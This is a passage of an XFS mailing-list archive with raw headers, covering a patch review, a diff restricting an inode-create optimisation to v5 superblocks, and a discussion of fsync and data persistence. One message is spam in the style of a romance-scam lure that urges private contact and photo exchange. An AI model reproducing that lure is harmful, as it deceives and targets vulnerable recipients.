<1374215120-7271-43-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-43-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > Validate log space during log mount stage, the underlying function > will drop a warning message via syslog in critical level if the log > space is too small or too large. > > [ dchinner: For CRC enable filesystems, abort the mounting of the > filesystem as mkfs should never make a log too small for the given > filesystem configuration. ] > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From rossina.faiwa@hotmail.co.uk Mon Jul 22 09:34:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 577A57F37 for ; Mon, 22 Jul 2013 09:34:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3873C8F8035 for ; Mon, 22 Jul 2013 07:34:26 -0700 (PDT) X-ASG-Debug-ID: 1374503646-04bdf0245d2a5a00001-NocioJ Received: from mout.gmx.net (mout.gmx.net [212.227.17.21]) by cuda.sgi.com with ESMTP id 6zqHCadRq8qyzUO6 for ; Mon, 22 Jul 2013 07:34:07 -0700 (PDT) X-Barracuda-Envelope-From: rossina.faiwa@hotmail.co.uk X-Barracuda-Apparent-Source-IP: 212.227.17.21 Received: from 3capp-gmx-bs43.server.lan ([172.19.170.95]) by mrigmx.server.lan (mrigmx001) with ESMTP (Nemesis) id 0MXTY0-1UeiEK1OwI-00WY8o for ; Mon, 22 Jul 2013 16:34:06 +0200 Received: from [41.82.175.252] by 3capp-gmx-bs43.server.lan with HTTP; Mon Jul 22 16:34:06 CEST 2013 MIME-Version: 1.0 Message-ID: From: rossina.faiwa@hotmail.co.uk Subject: hi Content-Type: text/html; charset=UTF-8 X-ASG-Orig-Subj: hi Date: Mon, 22 Jul 2013 16:34:06 +0200 (CEST) Importance: normal Sensitivity: Normal X-Priority: 3 X-Provags-ID: V03:K0:9/3KyE3JaOl/eFkOMSBklEPQBIzLuTYwsIQz14IU4Kn AeK1ETvWjLszbiMkT9PS4mQmzuSDS2EJVwaQPvrGRWfUb25ZaI E+EqofKrL13Lydgprf0GEXwvAgAuMHZp9/dbl6sCH86aSo0wLM eioDRzJCfrB10RlypzfvQyaAixR2v1QESzr7jb/4IsslXBvIgB K4uDC0Wxj1PY6iYnLv3xYXHTb4t+T3ZJVbulmj7cOLU+IYMjdj FEe3DtrkxaC5yJur6qsxacYybOB8NHghka2y13MCnM0jLRFJ+e 5cVD64= X-Barracuda-Connect: mout.gmx.net[212.227.17.21] X-Barracuda-Start-Time: 1374503647 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_HEADERS, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 1.21 MISSING_HEADERS Missing To: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:;
    Hi !!!  my dear,
    Am looking for a good friend from Google today
    i found your contact interesting.
    I feel it is better for us to know more through
    communication through our private email inbox
    so that we can introduce ourselves more and
    exchange our good pictures.
    Please reply me back immediately through
    i wait for your return email in my inbox
    Lots of love
    Rossina Faiwa
     
     
    From tinguely@sgi.com Mon Jul 22 09:40:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A5897F37 for ; Mon, 22 Jul 2013 09:40:49 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 166D78F8035; Mon, 22 Jul 2013 07:40:49 -0700 (PDT) Message-ID: <51ED4471.7050708@sgi.com> Date: Mon, 22 Jul 2013 09:40:49 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Markus Trippelsdorf CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> In-Reply-To: <20130722110732.GA365@x4> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/22/13 06:07, Markus Trippelsdorf wrote: > On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: >> From: Dave Chinner >> >> When we made all inode updates transactional, we no longer needed >> the log recovery detection for inodes being newer on disk than the >> transaction being replayed - it was redundant as replay of the log >> would always result in the latest version of the inode woul dbe on >> disk. It was redundant, but left in place because it wasn't >> considered to be a problem. >> >> However, with the new "don't read inodes on create" optimisation, >> flushiter has come back to bite us. Essentially, the optimisation >> made always initialises flushiter to zero in the create transaction, >> and so if we then crash and run recovery and the inode already on >> disk has a non-zero flushiter it will skip recovery of that inode. >> As a result, log recovery does the wrong thing and we end up with a >> corrupt filesystem. >> >> Because we have to support old kernel to new kernl upgrades, we >> can't just get rid of the flushiter support in log recovery as we >> might be upgrading from a kernel that doesn't have fully transaction >> inode updates. Unfortunately, for v4 superblocks there is no way to >> guarantee that log recovery knows about this fact. >> >> We cannot add a new inode format flag to say it's a "special inode >> create" because it won't be understood by older kernels and so >> recovery could do the wrong thing on downgrade. We cannot specially >> detect the combination of zero mode/non-zero flushiter on disk to >> non-zero mode, zero flushiter in the log item during recovery >> because wrapping of the flushiter can result in false detection. >> >> Hence that makes this "don't use flushiter" optimisation limited to >> a disk format that guarantees that we don't need it. And that means >> the only fix here is to limit the "no read IO on create" >> optimisation to version 5 superblocks.... > > I think your patch misses the following part: > Hi Markus. Dave's patch is limited to the new v5 (crc) superblock. The constraints that has to be dealt with are in the commit message as to why it is limited to the new v5 superblock. Going back to your 07/10/2013 message, your filesystem is: /dev/root on / type xfs (rw,relatime,attr2,inode64,logbsize=256k,noquota) or the non-crc v4 superblock with inode 2 that is probably why it is still failing for you. It seems to me that since we cannot fix this for inode 1/2, then besides this patch we have to revert patch cca9f93a52d and make it inode 3+ / superblock 5+ (crc) dependent. --Mark. From sbergman27@gmail.com Mon Jul 22 09:59:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 45D6B7F37 for ; Mon, 22 Jul 2013 09:59:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 23DE0304032 for ; Mon, 22 Jul 2013 07:59:37 -0700 (PDT) X-ASG-Debug-ID: 1374505167-04cb6c2a47ff3a40001-NocioJ Received: from mail-qc0-f177.google.com (mail-qc0-f177.google.com [209.85.216.177]) by cuda.sgi.com with ESMTP id P6j8Y4wJOUN6NKmj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 22 Jul 2013 07:59:28 -0700 (PDT) X-Barracuda-Envelope-From: sbergman27@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.177] Received: by mail-qc0-f177.google.com with SMTP id n1so3642582qcx.36 for ; Mon, 22 Jul 2013 07:59:27 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=zDyIpjVt8pvw8TUXjeUG0+FZU7R+0BCUBknMEe8s2wI=; b=NoP+g7OAqeJEKfx0kP2VftWqtFmtpkMsUpD7jBaTaElE88lHBDXnLZPLeR76xP5Yu3 7LtFOXJo5HX1YWZl2c56oJNZTRvKSiG45cmpXlo65dzUKalA4znQ7oLdPdc9Lxl41DiQ aF6kYq8i3lazK/KoOlz43uAGTBPCIcNMOZd5U1fN7MA4lJ5hiHCxftNDHdZlOtEep6AQ p5+fKwzS/cl71545QjQQiFh8mubdYGz/Dhv/lBfJtRPK+RmkqC+5uuI2Br3vZVzRKPqM nq4vhK42KtB9cty9562V+9JQQkh9f+QxI+HgdrkQhNqPJxFNtmYNRF7x7nrrQiMkfFQi V97g== MIME-Version: 1.0 X-Received: by 10.49.34.206 with SMTP id b14mr14133050qej.54.1374505167429; Mon, 22 Jul 2013 07:59:27 -0700 (PDT) Received: by 10.224.74.211 with HTTP; Mon, 22 Jul 2013 07:59:27 -0700 (PDT) In-Reply-To: <51B75E42.4070105@sandeen.net> References: <51B72D3D.5010206@redhat.com> <51B75E42.4070105@sandeen.net> Date: Mon, 22 Jul 2013 09:59:27 -0500 Message-ID: Subject: Re: Questions about XFS From: Steve Bergman X-ASG-Orig-Subj: Re: Questions about XFS To: Eric Sandeen Cc: Ric Wheeler , Linux fs XFS Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qc0-f177.google.com[209.85.216.177] X-Barracuda-Start-Time: 1374505167 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature "I'd file a bug against cups, then." I have. Take a look at bug #984883 and see what I'm running up against. Maybe you would have some suggestions as to what is the right thing to do. And perhaps Jiri would listen to you. I'd appreciate any aid in getting this very embarrassing RHEL6 bug fixed. -Steve On Tue, Jun 11, 2013 at 12:28 PM, Eric Sandeen wrote: > On 6/11/13 11:12 AM, Steve Bergman wrote: >> In #5 I was specifically talking about ext4. After the 2009 brouhaha >> over zero-length files in ext4 with delayed allocation turned on, Ted >> merged some patches into vanilla kernel 2,6,30 which mitigated the >> problem by recognizing certain common idioms and forcing automatically >> forcing an fsync. I'd heard the the XFS team modeled a set of XFS >> patches from them. > > Assuming we're talking about the same behaviors, XFS resolved this issue > in May 2007, in the 2.6.22 kernel, commit ba87ea6, over a year before > ext4 even had delayed allocation working. ext4 added the flush-on-close > heuristic in 2009, commit 7d8f9f7. > >> Regarding #4, I have 12 years experience with my workloads on ext3 and >> 3 yrs on ext4 and know what I have observed. As a practical matter, >> there are large differences between filesystem behaviors which aren't >> up for debate since I know my workloads' behavior in the real world >> far better than anyone else possibly could. (In fact, I'm not sure how >> anyone else could presume to know how my workloads and filesystems >> interact.) But if I understand correctly, ext4 at default settings >> journals metadata and commits it every 5s, while flushing data every >> 30s. Ext3 journals metadata, and commits it every 5 seconds, while >> effectively flushing data, *immediately before the metadata*, every 5 >> seconds. so the window in which data and metadata are not in sync is >> vanishingly small. Are you saying that with XFS there is no periodic >> flushing mechanism at all? And that unless there's an >> fsync/fdatasync/sync or the memory needs to be reclaimed, that it can >> sit in the page cache forever? > > No. > > By and large, buffered IO in a filesystem is flushed out by the vm, > due to either age or memory pressure. The filesystem then responds > to these requests by the VM, writing data as requested. > > You can read all about it in > Documentation/sysctl/vm.txt but see dirty_expire_centisecs and > dirty_writeback_centisecs - flushers wake up every 30s and push on > data more than 5s old, by default. > > ext3 is somewhat unique in data=ordered metadata logging driving > data flushing, IMHO. > >> One thing is puzzling me. Everyone is telling me that I must ensure >> that fsync/fdatasync is used, even in environments where the concept >> doesn't exist. So I've gone to find good examples of how it it used. >> Since RHEL6 has been shipping with ext4 as the default for over 2.5 >> years, I figured it would be a great place to find examples. However, >> I've been unable to find examples of fsync or fdatasync being used, >> when using "strace -o file.out -f" on various system programs which >> one would very much expect to use it. > > Whether or not an application *uses* fsync is orthogonal to whether > or not it's *needed* to ensure persistence. Obviously you don't need > to fsync every IO as soon as its issued. And there are buggy > applications, yes. It's up to the app to decide what needs to be > persistent and when. See the "When Should You Fsync?" section > in the URL below. > >> We talked about some Python >> config utilities the other day. But now I've moved on to C and C++ >> code. e.g. "cupsd" copy/truncate/writes the config file >> "/etc/cups/printers.conf" quite frequently, all day long. But there is >> no sign whatsoever of any fsync or fdatasync when I grep the strace >> output file for those strings case insensitively. (And indeed, a >> complex printers.conf file turned up zero-length on one of my RHEL6.4 >> boxes last week.) > > I'd file a bug against cups, then. > >> So I figured that when rpm installs a new vmlinuz, builds a new >> initramfs and puts it into place, and modifies grub.conf, that surely >> proper sync'ing must be done in this particularly critical case. But >> while I do see rpm fsync/fsync'ing its own database files, it never >> seems to fsync/fdatasync the critical system files it just installed >> and/or modified. Surely, after over 2 - 1/2 years of Red Hat shipping >> RHEL6 to customers, I must be mistaken in some way. Could you point me >> to an example in RHEL6.4 where I can see clearly how fsync is being >> properly used? In the mean time, I'll keep looking. > > database packages would get it right, I hope. > > See also http://lwn.net/Articles/457667/, "Ensuring data reaches disk" > > -Eric > >> Thanks, >> Steve >> >> >> >> On Tue, Jun 11, 2013 at 8:59 AM, Ric Wheeler wrote: >>> On 06/11/2013 05:56 AM, Steve Bergman wrote: >>>> >>>> 4. From the time I write() a bit of data, what's the maximum time before >>>> the >>>> data is actually committed to disk? >>>> >>>> 5. Ext4 provides some automatic fsync'ing to avoid the zero-length file >>>> issue for some common cases via the auto_da_alloc feature added in kernel >>>> 2.6.30. Does XFS have similar behavior? >>> >>> >>> I think that here you are talking more about ext3 than ext4. >>> >>> The answer to both of these - even for ext4 or ext3 - is that unless your >>> application and storage is all properly configured, you are effectively at >>> risk indefinitely. Chris Mason did a study years ago where he was able to >>> demonstrate that dirty data could get pinned in a disk cache effectively >>> indefinitely. Only an fsync() would push that out. >>> >>> Applications need to use the data integrity hooks in order to have a >>> reliable promise that application data is crash safe. Jeff Moyer wrote up a >>> really nice overview of this for lwn which you can find here: >>> >>> http://lwn.net/Articles/457667 >>> >>> That said, if you have applications that do not do any of this, you can roll >>> the dice and use a file system like ext3 that will periodically push data >>> out of the page cache for you. >>> >>> Note that without the barrier mount option, that is not sufficient to push >>> data to platter, just moves it down the line to the next potentially >>> volatile cache :) Even then, 4 out of every 5 seconds, your application >>> will be certain to lose data if the box crashes while it is writing data. >>> Lots of applications don't actually use the file system much (or write >>> much), so ext3's sync behaviour helped mask poorly written applications >>> pretty effectively for quite a while. >>> >>> There really is no short cut to doing the job right - your applications need >>> to use the correct calls and we all need to configure the file and storage >>> stack correctly. >>> >>> Thanks! >>> >>> Ric >>> >>> _______________________________________________ >>> xfs mailing list >>> xfs@oss.sgi.com >>> http://oss.sgi.com/mailman/listinfo/xfs >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs >> > From markus@trippelsdorf.de Mon Jul 22 10:15:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9D5917F37 for ; Mon, 22 Jul 2013 10:15:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7F16B8F8049 for ; Mon, 22 Jul 2013 08:15:55 -0700 (PDT) X-ASG-Debug-ID: 1374506143-04cbb04690129b1a0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id alvceGjoTMKtRc1Y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 22 Jul 2013 08:15:44 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=FkTQOQzSL7zCyGIqePDlQ6zXEs kQTNaItwFO80EgOEE=; b=RfnTGijXjzutoD2xZ4PcdcPTEeAiS5o4UFIYF8TIN0 Cerug5Mi8+d1pb8hnQ5ivWcL4gbUgpaJJaWsb5xmNMMd51rTMBON8c2xzV17m3fn NzAVwVNBWRvL1LcX97WkwEZ4JS+2ZuSpTqeW1q6qurCv6u38+MwfT6pdUs/GxHVg Q= Received: (qmail 28225 invoked from network); 22 Jul 2013 17:15:43 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 22 Jul 2013 17:15:43 +0200 Date: Mon, 22 Jul 2013 17:15:42 +0200 From: Markus Trippelsdorf To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful Message-ID: <20130722151542.GB365@x4> X-ASG-Orig-Subj: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <51ED4471.7050708@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51ED4471.7050708@sgi.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374506144 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.22 at 09:40 -0500, Mark Tinguely wrote: > On 07/22/13 06:07, Markus Trippelsdorf wrote: > > On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > >> From: Dave Chinner > >> > >> When we made all inode updates transactional, we no longer needed > >> the log recovery detection for inodes being newer on disk than the > >> transaction being replayed - it was redundant as replay of the log > >> would always result in the latest version of the inode woul dbe on > >> disk. It was redundant, but left in place because it wasn't > >> considered to be a problem. > >> > >> However, with the new "don't read inodes on create" optimisation, > >> flushiter has come back to bite us. Essentially, the optimisation > >> made always initialises flushiter to zero in the create transaction, > >> and so if we then crash and run recovery and the inode already on > >> disk has a non-zero flushiter it will skip recovery of that inode. > >> As a result, log recovery does the wrong thing and we end up with a > >> corrupt filesystem. > >> > >> Because we have to support old kernel to new kernl upgrades, we > >> can't just get rid of the flushiter support in log recovery as we > >> might be upgrading from a kernel that doesn't have fully transaction > >> inode updates. Unfortunately, for v4 superblocks there is no way to > >> guarantee that log recovery knows about this fact. > >> > >> We cannot add a new inode format flag to say it's a "special inode > >> create" because it won't be understood by older kernels and so > >> recovery could do the wrong thing on downgrade. We cannot specially > >> detect the combination of zero mode/non-zero flushiter on disk to > >> non-zero mode, zero flushiter in the log item during recovery > >> because wrapping of the flushiter can result in false detection. > >> > >> Hence that makes this "don't use flushiter" optimisation limited to > >> a disk format that guarantees that we don't need it. And that means > >> the only fix here is to limit the "no read IO on create" > >> optimisation to version 5 superblocks.... > > > > I think your patch misses the following part: > > > > > Dave's patch is limited to the new v5 (crc) superblock. The constraints > that has to be dealt with are in the commit message as to why it is > limited to the new v5 superblock. > > Going back to your 07/10/2013 message, your filesystem is: > > /dev/root on / type xfs (rw,relatime,attr2,inode64,logbsize=256k,noquota) > > or the non-crc v4 superblock with inode 2 that is probably why it is > still failing for you. > > It seems to me that since we cannot fix this for inode 1/2, then besides > this patch we have to revert patch cca9f93a52d and make it inode 3+ / > superblock 5+ (crc) dependent. Which is exactly what the hunk I've posted does. Here's the combined patch: diff --git a/fs/xfs/xfs_dinode.h b/fs/xfs/xfs_dinode.h index 07d735a..e5869b5 100644 --- a/fs/xfs/xfs_dinode.h +++ b/fs/xfs/xfs_dinode.h @@ -39,6 +39,9 @@ typedef struct xfs_timestamp { * There is a very similar struct icdinode in xfs_inode which matches the * layout of the first 96 bytes of this structure, but is kept in native * format instead of big endian. + * + * Note: di_flushiter is only used by v1/2 inodes - it's effectively a zeroed + * padding field for v3 inodes. */ typedef struct xfs_dinode { __be16 di_magic; /* inode magic # = XFS_DINODE_MAGIC */ diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b78481f..5d7e344 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -896,7 +896,6 @@ xfs_dinode_to_disk( to->di_projid_lo = cpu_to_be16(from->di_projid_lo); to->di_projid_hi = cpu_to_be16(from->di_projid_hi); memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); @@ -924,6 +923,9 @@ xfs_dinode_to_disk( to->di_lsn = cpu_to_be64(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); uuid_copy(&to->di_uuid, &from->di_uuid); + to->di_flushiter = 0; + } else { + to->di_flushiter = cpu_to_be16(from->di_flushiter); } } @@ -1054,17 +1056,15 @@ xfs_iread( /* shortcut IO on inode allocation if possible */ if ((iget_flags & XFS_IGET_CREATE) && - !(mp->m_flags & XFS_MOUNT_IKEEP)) { + !(mp->m_flags & XFS_MOUNT_IKEEP) && + xfs_sb_version_hascrc(&mp->m_sb)) { /* initialise the on-disk inode core */ memset(&ip->i_d, 0, sizeof(ip->i_d)); ip->i_d.di_magic = XFS_DINODE_MAGIC; ip->i_d.di_gen = prandom_u32(); - if (xfs_sb_version_hascrc(&mp->m_sb)) { - ip->i_d.di_version = 3; - ip->i_d.di_ino = ip->i_ino; - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); - } else - ip->i_d.di_version = 2; + ip->i_d.di_version = 3; + ip->i_d.di_ino = ip->i_ino; + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); return 0; } @@ -2882,12 +2882,18 @@ xfs_iflush_int( __func__, ip->i_ino, ip->i_d.di_forkoff, ip); goto corrupt_out; } + /* - * bump the flush iteration count, used to detect flushes which - * postdate a log record during recovery. This is redundant as we now - * log every change and hence this can't happen. Still, it doesn't hurt. + * Inode item log recovery for v1/v2 inodes are dependent on the + * di_flushiter count for correct sequencing. We bump the flush + * iteration count so we can detect flushes which postdate a log record + * during recovery. This is redundant as we now log every change and + * hence this can't happen but we need to still do it to ensure + * backwards compatibility with old kernels that predate logging all + * inode changes. */ - ip->i_d.di_flushiter++; + if (ip->i_d.di_version < 3) + ip->i_d.di_flushiter++; /* * Copy the dirty parts of the inode into the on-disk diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 6fcc910a..7681b19 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2592,8 +2592,16 @@ xlog_recover_inode_pass2( goto error; } - /* Skip replay when the on disk inode is newer than the log one */ - if (dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { + /* + * di_flushiter is only valid for v1/2 inodes. All changes for v3 inodes + * are transactional and if ordering is necessary we can determine that + * more accurately by the LSN field in the V3 inode core. Don't trust + * the inode versions we might be changing them here - use the + * superblock flag to determine whether we need to look at di_flushiter + * to skip replay when the on disk inode is newer than the log one + */ + if (!xfs_sb_version_hascrc(&mp->m_sb) && + dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { /* * Deal with the wrap case, DI_MAX_FLUSH is less * than smaller numbers @@ -2608,6 +2616,7 @@ xlog_recover_inode_pass2( goto error; } } + /* Take the opportunity to reset the flush iteration count */ dicp->di_flushiter = 0; -- Markus From sbergman27@gmail.com Mon Jul 22 10:16:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CCE5C7F50 for ; Mon, 22 Jul 2013 10:16:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BD6F9304053 for ; Mon, 22 Jul 2013 08:16:55 -0700 (PDT) X-ASG-Debug-ID: 1374506202-04cb6c2a47ff4f60001-NocioJ Received: from mail-qa0-f52.google.com (mail-qa0-f52.google.com [209.85.216.52]) by cuda.sgi.com with ESMTP id zDdgKHEQlqiGNGeE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 22 Jul 2013 08:16:42 -0700 (PDT) X-Barracuda-Envelope-From: sbergman27@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.52 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.52] Received: by mail-qa0-f52.google.com with SMTP id bq6so864672qab.11 for ; Mon, 22 Jul 2013 08:16:42 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.52] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.52] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=l0YIY/pEOqk7RSdbJ/csOYtdK1R5/gbPEYpbYbkmEKU=; b=CFvHGY4yE2KTN5ObArJXOp01EJroNvp26EmgDYtsS9QfZBXaAnUOdueQOzjy4Kfw6t AfUMhlh+Dr56q/zm3x9eMwOPFd2Yavrkj9ZK7+3FkFnAdFnHTgmsTtL8PBoYGQf+u4kt KtgZhW81WQLEUvQxGPucUfoct7VW4bnV/59AyOYhQ+hociWf6v2wKOk5R7MtXcgM2CCu hOB2pdP+pfbGXX8NhkrBtd56mmJboE+xAxcCxbVYW8jyAmdnF4GWkP7sBKtDFMdrf2zE 1wmKFyFcQb5V/9FnvtauZSH3AMGM8uWOAl3nftC6yirBgkzpCKMGMePvno8750r/L6TQ 0GGw== MIME-Version: 1.0 X-Received: by 10.49.116.230 with SMTP id jz6mr32605053qeb.94.1374506202370; Mon, 22 Jul 2013 08:16:42 -0700 (PDT) Received: by 10.224.74.211 with HTTP; Mon, 22 Jul 2013 08:16:42 -0700 (PDT) In-Reply-To: References: <51B72D3D.5010206@redhat.com> <51B75E42.4070105@sandeen.net> Date: Mon, 22 Jul 2013 10:16:42 -0500 Message-ID: Subject: Re: Questions about XFS From: Steve Bergman X-ASG-Orig-Subj: Re: Questions about XFS To: Eric Sandeen Cc: Ric Wheeler , Linux fs XFS Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f52.google.com[209.85.216.52] X-Barracuda-Start-Time: 1374506202 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 